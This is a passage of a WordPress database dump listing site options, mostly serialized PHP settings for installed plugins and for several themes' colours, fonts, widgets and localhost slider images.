Blog\";s:5:\"items\";i:2;s:12:\"show_summary\";i:1;s:11:\"show_author\";i:0;s:9:\"show_date\";i:1;}s:19:\"dashboard_secondary\";a:7:{s:4:\"link\";s:28:\"http://planet.wordpress.org/\";s:3:\"url\";s:33:\"http://planet.wordpress.org/feed/\";s:5:\"title\";s:20:\"Other WordPress News\";s:5:\"items\";i:5;s:12:\"show_summary\";i:0;s:11:\"show_author\";i:0;s:9:\"show_date\";i:0;}}','yes'),(115,'can_compress_scripts','1','yes'),(130,'_transient_timeout_plugin_slugs','1406012732','no'),(131,'_transient_plugin_slugs','a:8:{i:0;s:19:\"akismet/akismet.php\";i:1;s:36:\"contact-form-plugin/contact_form.php\";i:2;s:39:\"contact-form-to-email/form-to-email.php\";i:3;s:41:\"easy-contact-forms/easy-contact-forms.php\";i:4;s:9:\"hello.php\";i:5;s:48:\"simple-301-redirects/wp-simple-301-redirects.php\";i:6;s:43:\"the-events-calendar/the-events-calendar.php\";i:7;s:41:\"wp-post-navigation/wp-post-navigation.php\";}','no'),(146,'themezee_options','a:24:{s:21:\"themeZee_general_logo\";s:0:\"\";s:24:\"themeZee_general_tagline\";s:5:\"false\";s:25:\"themeZee_general_sidebars\";s:5:\"right\";s:23:\"themeZee_general_footer\";s:30:\"Place your Footer Content here\";s:20:\"themeZee_general_css\";s:0:\"\";s:21:\"themeZee_color_scheme\";s:7:\"default\";s:26:\"themeZee_colors_navi_style\";s:5:\"light\";s:27:\"themeZee_frontpage_activate\";s:5:\"false\";s:32:\"themeZee_frontpage_slider_active\";s:5:\"false\";s:35:\"themeZee_frontpage_slider_animation\";s:4:\"fade\";s:31:\"themeZee_frontpage_slider_speed\";s:4:\"7000\";s:30:\"themeZee_frontpage_slider_info\";s:0:\"\";s:31:\"themeZee_frontpage_widgets_info\";s:0:\"\";s:28:\"themeZee_slider_content_info\";s:0:\"\";s:25:\"themeZee_slider_one_image\";s:74:\"http://localhost/wordpress/wp-content/themes/zeenoble/images/slide-one.jpg\";s:25:\"themeZee_slider_one_title\";s:19:\"Welcome to zeeNoble\";s:27:\"themeZee_slider_one_content\";s:91:\"Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Aenean commodo ligula eget dolor.\";s:29:\"themeZee_slider_one_link_name\";s:0:\"\";s:28:\"themeZee_slider_one_link_url\";s:0:\"\";s:25:\"themeZee_slider_two_image\";s:74:\"http://localhost/wordpress/wp-content/themes/zeenoble/images/slide-two.jpg\";s:25:\"themeZee_slider_two_title\";s:12:\"Second Slide\";s:27:\"themeZee_slider_two_content\";s:91:\"Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Aenean commodo ligula eget dolor.\";s:29:\"themeZee_slider_two_link_name\";s:25:\"Demo Link to ThemeZee.com\";s:28:\"themeZee_slider_two_link_url\";s:20:\"http://themezee.com/\";}','yes'),(150,'theme_mods_twentythirteen','a:1:{s:16:\"sidebars_widgets\";a:2:{s:4:\"time\";i:1377497849;s:4:\"data\";a:3:{s:19:\"wp_inactive_widgets\";a:0:{}s:9:\"sidebar-1\";a:6:{i:0;s:8:\"search-2\";i:1;s:14:\"recent-posts-2\";i:2;s:17:\"recent-comments-2\";i:3;s:10:\"archives-2\";i:4;s:12:\"categories-2\";i:5;s:6:\"meta-2\";}s:9:\"sidebar-2\";a:0:{}}}}','yes'),(151,'current_theme','Virtue','yes'),(152,'theme_mods_zeenoble','a:7:{i:0;b:0;s:16:\"background_color\";s:3:\"ddd\";s:16:\"background_image\";s:75:\"http://localhost/wordpress/wp-content/themes/zeenoble/images/background.png\";s:17:\"background_repeat\";s:6:\"repeat\";s:21:\"background_position_x\";s:4:\"left\";s:21:\"background_attachment\";s:5:\"fixed\";s:16:\"sidebars_widgets\";a:2:{s:4:\"time\";i:1377498603;s:4:\"data\";a:4:{s:19:\"wp_inactive_widgets\";a:0:{}s:12:\"sidebar-main\";a:6:{i:0;s:8:\"search-2\";i:1;s:14:\"recent-posts-2\";i:2;s:17:\"recent-comments-2\";i:3;s:10:\"archives-2\";i:4;s:12:\"categories-2\";i:5;s:6:\"meta-2\";}s:13:\"sidebar-pages\";a:0:{}s:21:\"frontpage-widgets-two\";N;}}}','yes'),(153,'theme_switched','','yes'),(155,'theme_mods_advantage','a:2:{i:0;b:0;s:16:\"sidebars_widgets\";a:2:{s:4:\"time\";i:1377498445;s:4:\"data\";a:16:{s:19:\"wp_inactive_widgets\";a:0:{}s:16:\"full-widget-area\";a:6:{i:0;s:8:\"search-2\";i:1;s:14:\"recent-posts-2\";i:2;s:17:\"recent-comments-2\";i:3;s:10:\"archives-2\";i:4;s:12:\"categories-2\";i:5;s:6:\"meta-2\";}s:17:\"first-widget-area\";a:0:{}s:18:\"second-widget-area\";N;s:16:\"left-widget-area\";N;s:17:\"right-widget-area\";N;s:18:\"center-widget-area\";N;s:22:\"first-home-widget-area\";N;s:23:\"second-home-widget-area\";N;s:22:\"third-home-widget-area\";N;s:23:\"fourth-home-widget-area\";N;s:22:\"fifth-home-widget-area\";N;s:24:\"first-footer-widget-area\";N;s:25:\"second-footer-widget-area\";N;s:24:\"third-footer-widget-area\";N;s:25:\"fourth-footer-widget-area\";N;}}}','yes'),(157,'theme_mods_opulus-sombre','a:2:{i:0;b:0;s:16:\"sidebars_widgets\";a:2:{s:4:\"time\";i:1377498941;s:4:\"data\";a:28:{s:19:\"wp_inactive_widgets\";a:0:{}s:13:\"sidebar_pages\";a:6:{i:0;s:8:\"search-2\";i:1;s:14:\"recent-posts-2\";i:2;s:17:\"recent-comments-2\";i:3;s:10:\"archives-2\";i:4;s:12:\"categories-2\";i:5;s:6:\"meta-2\";}s:12:\"sidebar_blog\";a:0:{}s:17:\"sidebar_portfolio\";N;s:11:\"footer-left\";N;s:13:\"footer-center\";N;s:12:\"footer-right\";N;s:15:\"frontpage-right\";N;s:9:\"sidebar_1\";N;s:9:\"sidebar_2\";N;s:9:\"sidebar_3\";N;s:9:\"sidebar_4\";N;s:9:\"sidebar_5\";N;s:9:\"sidebar_6\";N;s:9:\"sidebar_7\";N;s:9:\"sidebar_8\";N;s:9:\"sidebar_9\";N;s:10:\"sidebar_10\";N;s:10:\"sidebar_11\";N;s:10:\"sidebar_12\";N;s:10:\"sidebar_13\";N;s:10:\"sidebar_14\";N;s:10:\"sidebar_15\";N;s:10:\"sidebar_16\";N;s:10:\"sidebar_17\";N;s:10:\"sidebar_18\";N;s:10:\"sidebar_19\";N;s:10:\"sidebar_20\";N;}}}','yes'),(158,'opulus_sombre_options','a:91:{s:15:\"reminder_images\";s:2:\"on\";s:15:\"example_widgets\";s:2:\"on\";s:10:\"image_logo\";s:0:\"\";s:9:\"text_logo\";s:10:\"Aapthitech\";s:7:\"favicon\";s:0:\"\";s:8:\"gravatar\";s:0:\"\";s:9:\"read_more\";s:16:\"Read More &rarr;\";s:9:\"copyright\";s:23:\"&copy; 2013, Aapthitech\";s:12:\"public_phone\";s:0:\"\";s:12:\"public_email\";s:0:\"\";s:10:\"public_fax\";s:0:\"\";s:7:\"address\";s:0:\"\";s:13:\"banner_option\";s:17:\"full_image_border\";s:11:\"action_text\";s:173:\"Welcome to Opulus Sombre, a dark version of the Opulus WordPress Theme. To edit this text, please login to your WordPress dashboard and select Theme Options, then Frontpage.\";s:15:\"toggle_featured\";s:1:\"1\";s:13:\"left_featured\";i:2;s:15:\"center_featured\";i:2;s:14:\"right_featured\";i:2;s:14:\"fp_content_pos\";s:4:\"none\";s:11:\"toggle_blog\";s:1:\"1\";s:15:\"blog_feed_title\";s:25:\"Latest News From the Blog\";s:10:\"blog_title\";s:4:\"Blog\";s:13:\"posts_on_blog\";s:1:\"5\";s:23:\"nimbus_post_meta_single\";a:6:{s:5:\"title\";s:1:\"1\";s:10:\"post_thumb\";s:1:\"1\";s:6:\"author\";s:1:\"1\";s:4:\"date\";s:1:\"1\";s:10:\"categories\";s:1:\"1\";s:4:\"tags\";s:1:\"1\";}s:14:\"post_meta_blog\";a:5:{s:5:\"title\";s:1:\"1\";s:10:\"post_thumb\";s:1:\"1\";s:6:\"author\";s:1:\"1\";s:4:\"date\";s:1:\"1\";s:10:\"categories\";s:1:\"1\";}s:11:\"display_bio\";s:1:\"1\";s:15:\"header_bg_color\";s:7:\"#353535\";s:11:\"dd_bg_color\";s:7:\"#464646\";s:15:\"dd_border_color\";s:7:\"#535353\";s:15:\"ribbon_bg_color\";s:7:\"#ffffff\";s:27:\"ribbon_content_shadow_color\";s:7:\"#000000\";s:19:\"action_bg_color_top\";s:7:\"#575757\";s:22:\"action_bg_color_bottom\";s:7:\"#353535\";s:26:\"action_border_color_bottom\";s:7:\"#262626\";s:18:\"image_stroke_color\";s:7:\"#000000\";s:18:\"image_border_color\";s:7:\"#ffffff\";s:17:\"image_border_type\";s:5:\"solid\";s:18:\"image_shadow_color\";s:7:\"#000000\";s:25:\"banner_image_stroke_color\";s:7:\"#000000\";s:25:\"banner_image_border_color\";s:7:\"#ffffff\";s:24:\"banner_image_border_type\";s:5:\"solid\";s:25:\"banner_image_shadow_color\";s:7:\"#000000\";s:20:\"buttons_bg_color_top\";s:7:\"#ffffff\";s:23:\"buttons_bg_color_bottom\";s:7:\"#adadad\";s:10:\"body_style\";a:6:{s:4:\"size\";s:4:\"13px\";s:4:\"line\";s:5:\"1.5em\";s:4:\"face\";s:9:\"Open Sans\";s:5:\"style\";s:6:\"normal\";s:5:\"color\";s:7:\"#d6d6d6\";s:9:\"fonttrans\";s:4:\"none\";}s:10:\"link_color\";s:7:\"#ffffff\";s:16:\"link_hover_color\";s:7:\"#e8e8e8\";s:10:\"logo_style\";a:6:{s:4:\"size\";s:4:\"30px\";s:4:\"line\";s:3:\"1em\";s:4:\"face\";s:13:\"Croissant One\";s:5:\"style\";s:6:\"normal\";s:5:\"color\";s:7:\"#262626\";s:9:\"fonttrans\";s:4:\"none\";}s:18:\"head_contact_style\";a:6:{s:4:\"size\";s:4:\"11px\";s:4:\"line\";s:3:\"1em\";s:4:\"face\";s:9:\"Open Sans\";s:5:\"style\";s:6:\"normal\";s:5:\"color\";s:7:\"#edeaea\";s:9:\"fonttrans\";s:4:\"none\";}s:15:\"main_menu_style\";a:6:{s:4:\"size\";s:4:\"18px\";s:4:\"line\";s:3:\"1em\";s:4:\"face\";s:7:\"Anaheim\";s:5:\"style\";s:6:\"normal\";s:5:\"color\";s:7:\"#535353\";s:9:\"fonttrans\";s:9:\"uppercase\";}s:14:\"sub_menu_style\";a:6:{s:4:\"size\";s:4:\"16px\";s:4:\"line\";s:3:\"1em\";s:4:\"face\";s:7:\"Anaheim\";s:5:\"style\";s:6:\"normal\";s:5:\"color\";s:7:\"#e1e1e1\";s:9:\"fonttrans\";s:4:\"none\";}s:12:\"action_style\";a:6:{s:4:\"size\";s:4:\"22px\";s:4:\"line\";s:5:\"1.5em\";s:4:\"face\";s:7:\"Anaheim\";s:5:\"style\";s:6:\"normal\";s:5:\"color\";s:7:\"#f0f0f0\";s:9:\"fonttrans\";s:4:\"none\";}s:8:\"h1_style\";a:6:{s:4:\"size\";s:4:\"25px\";s:4:\"line\";s:3:\"1em\";s:4:\"face\";s:7:\"Anaheim\";s:5:\"style\";s:6:\"normal\";s:5:\"color\";s:7:\"#f2f2f2\";s:9:\"fonttrans\";s:4:\"none\";}s:8:\"h2_style\";a:6:{s:4:\"size\";s:4:\"22px\";s:4:\"line\";s:5:\"1.3em\";s:4:\"face\";s:7:\"Anaheim\";s:5:\"style\";s:6:\"normal\";s:5:\"color\";s:7:\"#f2f2f2\";s:9:\"fonttrans\";s:4:\"none\";}s:8:\"h3_style\";a:6:{s:4:\"size\";s:4:\"18px\";s:4:\"line\";s:5:\"1.3em\";s:4:\"face\";s:7:\"Anaheim\";s:5:\"style\";s:4:\"bold\";s:5:\"color\";s:7:\"#f2f2f2\";s:9:\"fonttrans\";s:9:\"uppercase\";}s:8:\"h4_style\";a:6:{s:4:\"size\";s:4:\"18px\";s:4:\"line\";s:5:\"1.3em\";s:4:\"face\";s:7:\"Anaheim\";s:5:\"style\";s:6:\"normal\";s:5:\"color\";s:7:\"#f2f2f2\";s:9:\"fonttrans\";s:4:\"none\";}s:8:\"h5_style\";a:6:{s:4:\"size\";s:4:\"16px\";s:4:\"line\";s:5:\"1.3em\";s:4:\"face\";s:7:\"Anaheim\";s:5:\"style\";s:6:\"normal\";s:5:\"color\";s:7:\"#f2f2f2\";s:9:\"fonttrans\";s:9:\"uppercase\";}s:8:\"h6_style\";a:6:{s:4:\"size\";s:4:\"16px\";s:4:\"line\";s:5:\"1.3em\";s:4:\"face\";s:7:\"Anaheim\";s:5:\"style\";s:6:\"normal\";s:5:\"color\";s:7:\"#f2f2f2\";s:9:\"fonttrans\";s:4:\"none\";}s:16:\"blockquote_style\";a:6:{s:4:\"size\";s:4:\"18px\";s:4:\"line\";s:5:\"1.4em\";s:4:\"face\";s:7:\"Anaheim\";s:5:\"style\";s:6:\"normal\";s:5:\"color\";s:7:\"#ffffff\";s:9:\"fonttrans\";s:4:\"none\";}s:15:\"pullquote_style\";a:6:{s:4:\"size\";s:4:\"20px\";s:4:\"line\";s:5:\"1.2em\";s:4:\"face\";s:7:\"Anaheim\";s:5:\"style\";s:6:\"normal\";s:5:\"color\";s:7:\"#ffffff\";s:9:\"fonttrans\";s:4:\"none\";}s:10:\"code_style\";a:2:{s:4:\"face\";s:11:\"Courier New\";s:5:\"color\";s:7:\"#535353\";}s:8:\"th_style\";a:6:{s:4:\"size\";s:4:\"18px\";s:4:\"line\";s:3:\"1em\";s:4:\"face\";s:9:\"Open Sans\";s:5:\"style\";s:4:\"bold\";s:5:\"color\";s:7:\"#0078ff\";s:9:\"fonttrans\";s:9:\"uppercase\";}s:8:\"td_style\";a:6:{s:4:\"size\";s:4:\"13px\";s:4:\"line\";s:5:\"1.4em\";s:4:\"face\";s:5:\"Arial\";s:5:\"style\";s:6:\"normal\";s:5:\"color\";s:7:\"#535353\";s:9:\"fonttrans\";s:4:\"none\";}s:8:\"tc_style\";a:6:{s:4:\"size\";s:4:\"13px\";s:4:\"line\";s:3:\"1em\";s:4:\"face\";s:9:\"Open Sans\";s:5:\"style\";s:11:\"bold italic\";s:5:\"color\";s:7:\"#535353\";s:9:\"fonttrans\";s:9:\"uppercase\";}s:19:\"sidebar_title_style\";a:6:{s:4:\"size\";s:4:\"18px\";s:4:\"line\";s:5:\"1.3em\";s:4:\"face\";s:7:\"Anaheim\";s:5:\"style\";s:4:\"bold\";s:5:\"color\";s:7:\"#f2f2f2\";s:9:\"fonttrans\";s:9:\"uppercase\";}s:18:\"footer_title_style\";a:6:{s:4:\"size\";s:4:\"18px\";s:4:\"line\";s:5:\"1.3em\";s:4:\"face\";s:7:\"Anaheim\";s:5:\"style\";s:4:\"bold\";s:5:\"color\";s:7:\"#f2f2f2\";s:9:\"fonttrans\";s:9:\"uppercase\";}s:17:\"footer_text_style\";a:6:{s:4:\"size\";s:4:\"13px\";s:4:\"line\";s:5:\"1.4em\";s:4:\"face\";s:9:\"Open Sans\";s:5:\"style\";s:6:\"normal\";s:5:\"color\";s:7:\"#f2f2f2\";s:9:\"fonttrans\";s:4:\"none\";}s:20:\"default_button_style\";a:6:{s:4:\"size\";s:4:\"18px\";s:4:\"line\";s:3:\"1em\";s:4:\"face\";s:7:\"Anaheim\";s:5:\"style\";s:3:\"400\";s:5:\"color\";s:7:\"#000000\";s:9:\"fonttrans\";s:9:\"uppercase\";}s:21:\"nimbus_typography_one\";a:1:{s:4:\"face\";s:7:\"Anaheim\";}s:21:\"nimbus_typography_two\";a:1:{s:4:\"face\";s:9:\"Open Sans\";}s:23:\"nimbus_typography_three\";a:1:{s:4:\"face\";s:9:\"Open Sans\";}s:12:\"button_style\";a:1:{s:4:\"face\";s:7:\"Anaheim\";}s:15:\"copyright_style\";a:6:{s:4:\"size\";s:4:\"11px\";s:4:\"line\";s:3:\"1em\";s:4:\"face\";s:9:\"Open Sans\";s:5:\"style\";s:6:\"normal\";s:5:\"color\";s:7:\"#a6a6a6\";s:9:\"fonttrans\";s:4:\"none\";}s:12:\"facebook_url\";s:1:\"#\";s:11:\"twitter_url\";s:1:\"#\";s:12:\"linkedin_url\";s:1:\"#\";s:11:\"youtube_url\";s:1:\"#\";s:15:\"google_plus_url\";s:1:\"#\";s:22:\"display_social_buttons\";s:1:\"1\";s:18:\"scripts_multicheck\";a:4:{s:8:\"mootools\";s:1:\"0\";s:9:\"prototype\";s:1:\"0\";s:13:\"scriptaculous\";s:1:\"0\";s:4:\"dojo\";s:1:\"0\";}s:12:\"scripts_head\";s:0:\"\";s:19:\"scripts_top_content\";s:0:\"\";s:17:\"top_scripts_multi\";a:6:{s:4:\"home\";s:1:\"0\";s:5:\"pages\";s:1:\"0\";s:4:\"blog\";s:1:\"0\";s:5:\"posts\";s:1:\"0\";s:9:\"portfolio\";s:1:\"0\";s:14:\"portfolio_item\";s:1:\"0\";}s:22:\"scripts_bottom_content\";s:0:\"\";s:20:\"bottom_scripts_multi\";a:6:{s:4:\"home\";s:1:\"0\";s:5:\"pages\";s:1:\"0\";s:4:\"blog\";s:1:\"0\";s:5:\"posts\";s:1:\"0\";s:9:\"portfolio\";s:1:\"0\";s:14:\"portfolio_item\";s:1:\"0\";}s:12:\"scripts_foot\";s:0:\"\";s:10:\"custom_css\";s:0:\"\";s:19:\"custom_css_less_767\";s:0:\"\";s:18:\"custom_css_768_979\";s:0:\"\";s:19:\"custom_css_980_1200\";s:0:\"\";s:20:\"custom_css_more_1200\";s:0:\"\";}','yes'),(160,'theme_mods_eclipse','a:9:{i:0;b:0;s:16:\"background_color\";s:6:\"34aa4e\";s:16:\"background_image\";s:65:\"http://localhost/wordpress/wp-content/uploads/2013/08/pattern.png\";s:17:\"background_repeat\";s:6:\"repeat\";s:21:\"background_position_x\";s:4:\"left\";s:21:\"background_attachment\";s:5:\"fixed\";s:22:\"cyberchimps_background\";s:5:\"noise\";s:18:\"nav_menu_locations\";a:1:{s:7:\"primary\";i:2;}s:16:\"sidebars_widgets\";a:2:{s:4:\"time\";i:1377580937;s:4:\"data\";a:4:{s:19:\"wp_inactive_widgets\";a:0:{}s:12:\"sidebar-left\";a:6:{i:0;s:8:\"search-2\";i:1;s:14:\"recent-posts-2\";i:2;s:17:\"recent-comments-2\";i:3;s:10:\"archives-2\";i:4;s:12:\"categories-2\";i:5;s:6:\"meta-2\";}s:13:\"sidebar-right\";a:0:{}s:26:\"cyberchimps-footer-widgets\";N;}}}','yes'),(161,'cyberchimps_options','a:124:{s:17:\"responsive_design\";s:1:\"1\";s:17:\"responsive_videos\";b:0;s:16:\"gallery_lightbox\";s:1:\"1\";s:12:\"wide_sidebar\";b:0;s:9:\"max_width\";s:4:\"1020\";s:22:\"cyberchimps_skin_color\";s:7:\"default\";s:16:\"text_colorpicker\";s:7:\"#c1c1c1\";s:16:\"link_colorpicker\";s:7:\"#c1c1c1\";s:22:\"link_hover_colorpicker\";s:0:\"\";s:18:\"typography_options\";a:4:{s:4:\"size\";s:4:\"14px\";s:4:\"face\";s:28:\"Arial, Helvetica, sans-serif\";s:5:\"style\";s:6:\"normal\";s:5:\"color\";s:7:\"#333333\";}s:17:\"google_font_field\";s:5:\"Arial\";s:14:\"font_demo_text\";s:0:\"\";s:20:\"font_family_headings\";a:4:{s:4:\"size\";a:63:{i:0;i:9;i:1;i:10;i:2;i:11;i:3;i:12;i:4;i:13;i:5;i:14;i:6;i:15;i:7;i:16;i:8;i:17;i:9;i:18;i:10;i:19;i:11;i:20;i:12;i:21;i:13;i:22;i:14;i:23;i:15;i:24;i:16;i:25;i:17;i:26;i:18;i:27;i:19;i:28;i:20;i:29;i:21;i:30;i:22;i:31;i:23;i:32;i:24;i:33;i:25;i:34;i:26;i:35;i:27;i:36;i:28;i:37;i:29;i:38;i:30;i:39;i:31;i:40;i:32;i:41;i:33;i:42;i:34;i:43;i:35;i:44;i:36;i:45;i:37;i:46;i:38;i:47;i:39;i:48;i:40;i:49;i:41;i:50;i:42;i:51;i:43;i:52;i:44;i:53;i:45;i:54;i:46;i:55;i:47;i:56;i:48;i:57;i:49;i:58;i:50;i:59;i:51;i:60;i:52;i:61;i:53;i:62;i:54;i:63;i:55;i:64;i:56;i:65;i:57;i:66;i:58;i:67;i:59;i:68;i:60;i:69;i:61;i:70;i:62;i:71;}s:4:\"face\";s:28:\"Arial, Helvetica, sans-serif\";s:5:\"style\";s:6:\"Normal\";s:5:\"color\";s:0:\"\";}s:20:\"google_font_headings\";s:5:\"Arial\";s:20:\"header_section_order\";a:1:{i:0;s:16:\"cyberchimps_logo\";}s:15:\"custom_logo_url\";b:0;s:20:\"custom_logo_url_link\";s:26:\"http://localhost/wordpress\";s:11:\"custom_logo\";b:0;s:20:\"custom_logo_uploader\";s:87:\"http://localhost/wordpress/wp-content/themes/eclipse/cyberchimps/lib/images/achimps.png\";s:14:\"custom_favicon\";b:0;s:16:\"favicon_uploader\";s:0:\"\";s:12:\"custom_apple\";b:0;s:20:\"apple_touch_uploader\";s:0:\"\";s:16:\"google_analytics\";s:0:\"\";s:17:\"theme_backgrounds\";s:7:\"default\";s:15:\"social_facebook\";s:1:\"1\";s:12:\"facebook_url\";s:24:\"http://www.facebook.com/\";s:14:\"social_twitter\";s:1:\"1\";s:11:\"twitter_url\";s:23:\"http://www.twitter.com/\";s:13:\"social_google\";s:1:\"1\";s:10:\"google_url\";s:22:\"http://www.google.com/\";s:15:\"social_linkedin\";b:0;s:12:\"linkedin_url\";s:24:\"http://www.linkedin.com/\";s:14:\"social_youtube\";b:0;s:11:\"youtube_url\";s:23:\"http://www.youtube.com/\";s:13:\"social_flickr\";b:0;s:10:\"flickr_url\";s:22:\"http://www.flickr.com/\";s:16:\"social_pinterest\";b:0;s:13:\"pinterest_url\";s:25:\"http://www.pinterest.com/\";s:17:\"social_googlemaps\";b:0;s:14:\"googlemaps_url\";s:27:\"http://www.maps.google.com/\";s:12:\"social_email\";b:0;s:9:\"email_url\";s:0:\"\";s:10:\"social_rss\";b:0;s:7:\"rss_url\";s:36:\"http://localhost/wordpress/?feed=rss\";s:18:\"blog_section_order\";a:3:{i:0;s:11:\"slider_lite\";i:1;s:14:\"portfolio_lite\";i:2;s:14:\"blog_post_page\";}s:14:\"sidebar_images\";s:13:\"right_sidebar\";s:10:\"blog_title\";b:0;s:15:\"blog_title_text\";s:8:\"Our Blog\";s:17:\"post_format_icons\";s:1:\"1\";s:13:\"post_excerpts\";b:0;s:19:\"blog_read_more_text\";s:12:\"Read More...\";s:19:\"blog_excerpt_length\";s:2:\"55\";s:20:\"post_featured_images\";s:1:\"1\";s:18:\"post_byline_author\";s:1:\"1\";s:22:\"post_byline_categories\";s:1:\"1\";s:16:\"post_byline_date\";s:1:\"1\";s:20:\"post_byline_comments\";s:1:\"1\";s:16:\"post_byline_tags\";s:1:\"1\";s:13:\"boxes_upgrade\";s:0:\"\";s:37:\"cyberchimps_blog_boxes_lite_image_one\";s:93:\"http://localhost/wordpress/wp-content/themes/eclipse/elements/lib/images/boxes/slidericon.png\";s:35:\"cyberchimps_blog_boxes_link_url_one\";s:20:\"http://wordpress.org\";s:42:\"cyberchimps_blog_boxes_lite_image_one_text\";s:297:\"Alto ventos est coeptis utque fecit. Phoebe sine circumfuso arce. Tanto aliis. Matutinis cornua origo formaeque animal mundo. Chaos: fabricator. Natura mundo caesa addidit.\n        Cuncta habendum meis omni ille formaeque emicuit septemque et. Lege fecit aethere porrexerat gentes horrifer formas.\";s:37:\"cyberchimps_blog_boxes_lite_image_two\";s:92:\"http://localhost/wordpress/wp-content/themes/eclipse/elements/lib/images/boxes/blueprint.png\";s:35:\"cyberchimps_blog_boxes_link_url_two\";s:20:\"http://wordpress.org\";s:42:\"cyberchimps_blog_boxes_lite_image_two_text\";s:297:\"Alto ventos est coeptis utque fecit. Phoebe sine circumfuso arce. Tanto aliis. Matutinis cornua origo formaeque animal mundo. Chaos: fabricator. Natura mundo caesa addidit.\n        Cuncta habendum meis omni ille formaeque emicuit septemque et. Lege fecit aethere porrexerat gentes horrifer formas.\";s:39:\"cyberchimps_blog_boxes_lite_image_three\";s:87:\"http://localhost/wordpress/wp-content/themes/eclipse/elements/lib/images/boxes/docs.png\";s:37:\"cyberchimps_blog_boxes_link_url_three\";s:20:\"http://wordpress.org\";s:44:\"cyberchimps_blog_boxes_lite_image_three_text\";s:297:\"Alto ventos est coeptis utque fecit. Phoebe sine circumfuso arce. Tanto aliis. Matutinis cornua origo formaeque animal mundo. Chaos: fabricator. Natura mundo caesa addidit.\n        Cuncta habendum meis omni ille formaeque emicuit septemque et. Lege fecit aethere porrexerat gentes horrifer formas.\";s:17:\"portfolio_upgrade\";s:0:\"\";s:41:\"cyberchimps_blog_portfolio_lite_image_one\";s:89:\"http://localhost/wordpress/wp-content/themes/eclipse/cyberchimps/lib/images/portfolio.jpg\";s:49:\"cyberchimps_blog_portfolio_lite_image_one_caption\";s:11:\"CyberChimps\";s:42:\"cyberchimps_blog_portfolio_link_toggle_one\";b:0;s:39:\"cyberchimps_blog_portfolio_link_url_one\";s:22:\"http://cyberchimps.com\";s:41:\"cyberchimps_blog_portfolio_lite_image_two\";s:89:\"http://localhost/wordpress/wp-content/themes/eclipse/cyberchimps/lib/images/portfolio.jpg\";s:49:\"cyberchimps_blog_portfolio_lite_image_two_caption\";s:11:\"CyberChimps\";s:42:\"cyberchimps_blog_portfolio_link_toggle_two\";b:0;s:39:\"cyberchimps_blog_portfolio_link_url_two\";s:22:\"http://cyberchimps.com\";s:43:\"cyberchimps_blog_portfolio_lite_image_three\";s:89:\"http://localhost/wordpress/wp-content/themes/eclipse/cyberchimps/lib/images/portfolio.jpg\";s:51:\"cyberchimps_blog_portfolio_lite_image_three_caption\";s:11:\"CyberChimps\";s:44:\"cyberchimps_blog_portfolio_link_toggle_three\";b:0;s:41:\"cyberchimps_blog_portfolio_link_url_three\";s:22:\"http://cyberchimps.com\";s:42:\"cyberchimps_blog_portfolio_lite_image_four\";s:89:\"http://localhost/wordpress/wp-content/themes/eclipse/cyberchimps/lib/images/portfolio.jpg\";s:50:\"cyberchimps_blog_portfolio_lite_image_four_caption\";s:11:\"CyberChimps\";s:43:\"cyberchimps_blog_portfolio_link_toggle_four\";b:0;s:40:\"cyberchimps_blog_portfolio_link_url_four\";s:22:\"http://cyberchimps.com\";s:39:\"cyberchimps_blog_portfolio_title_toggle\";s:1:\"1\";s:32:\"cyberchimps_blog_portfolio_title\";s:9:\"Portfolio\";s:14:\"slider_upgrade\";s:0:\"\";s:15:\"image_one_slide\";s:85:\"http://localhost/wordpress/wp-content/themes/eclipse/images/branding/eclipseslide.jpg\";s:19:\"image_one_slide_url\";s:22:\"http://cyberchimps.com\";s:15:\"image_two_slide\";s:85:\"http://localhost/wordpress/wp-content/themes/eclipse/images/branding/eclipseslide.jpg\";s:19:\"image_two_slide_url\";s:22:\"http://cyberchimps.com\";s:17:\"image_three_slide\";s:85:\"http://localhost/wordpress/wp-content/themes/eclipse/images/branding/eclipseslide.jpg\";s:21:\"image_three_slide_url\";s:22:\"http://cyberchimps.com\";s:27:\"single_post_sidebar_options\";s:13:\"right_sidebar\";s:17:\"single_post_title\";s:1:\"1\";s:27:\"single_post_featured_images\";b:0;s:24:\"single_post_format_icons\";b:0;s:25:\"single_post_byline_author\";s:1:\"1\";s:29:\"single_post_byline_categories\";s:1:\"1\";s:23:\"single_post_byline_date\";s:1:\"1\";s:27:\"single_post_byline_comments\";s:1:\"1\";s:23:\"single_post_byline_tags\";s:1:\"1\";s:23:\"archive_sidebar_options\";s:13:\"right_sidebar\";s:20:\"archive_format_icons\";b:0;s:21:\"archive_post_excerpts\";b:0;s:23:\"archive_featured_images\";b:0;s:26:\"archive_post_byline_author\";s:1:\"1\";s:30:\"archive_post_byline_categories\";s:1:\"1\";s:24:\"archive_post_byline_date\";s:1:\"1\";s:28:\"archive_post_byline_comments\";s:1:\"1\";s:24:\"archive_post_byline_tags\";s:1:\"1\";s:22:\"search_sidebar_options\";s:13:\"right_sidebar\";s:20:\"search_post_excerpts\";b:0;s:21:\"search_post_read_more\";s:12:\"Read More...\";s:26:\"search_post_excerpt_length\";s:2:\"55\";s:21:\"error_sidebar_options\";s:10:\"full_width\";s:18:\"error_custom_title\";s:0:\"\";s:20:\"error_custom_content\";s:0:\"\";s:18:\"footer_show_toggle\";s:1:\"1\";s:21:\"footer_copyright_text\";s:16:\"&copy; Webdesign\";s:11:\"events_info\";s:0:\"\";s:17:\"digital_downloads\";s:0:\"\";}','yes'),(163,'nav_menu_options','a:2:{i:0;b:0;s:8:\"auto_add\";a:0:{}}','yes'),(174,'recently_activated','a:0:{}','yes'),(175,'tribe_events_calendar_options','a:7:{s:27:\"recurring_events_are_hidden\";s:6:\"hidden\";s:19:\"tribeEventsTemplate\";s:0:\"\";s:21:\"tribeEventsBeforeHTML\";s:0:\"\";s:20:\"tribeEventsAfterHTML\";s:0:\"\";s:21:\"previous_ecp_versions\";a:1:{i:0;s:1:\"0\";}s:18:\"latest_ecp_version\";s:5:\"3.0.3\";s:14:\"welcome_notice\";b:1;}','yes'),(176,'tribe_events_db_version','3.0.0','yes'),(177,'tribe_events_suite_versions','a:1:{s:19:\"TribeEventsCalendar\";s:5:\"3.0.3\";}','yes'),(182,'optionsframework','a:2:{s:2:\"id\";s:8:\"discover\";s:12:\"knownoptions\";a:1:{i:0;s:8:\"discover\";}}','yes'),(183,'discover','a:33:{s:9:\"box_head1\";s:0:\"\";s:9:\"box_text1\";s:0:\"\";s:9:\"box_link1\";s:0:\"\";s:9:\"box_head2\";s:0:\"\";s:9:\"box_text2\";s:0:\"\";s:9:\"box_link2\";s:0:\"\";s:9:\"box_head3\";s:0:\"\";s:9:\"box_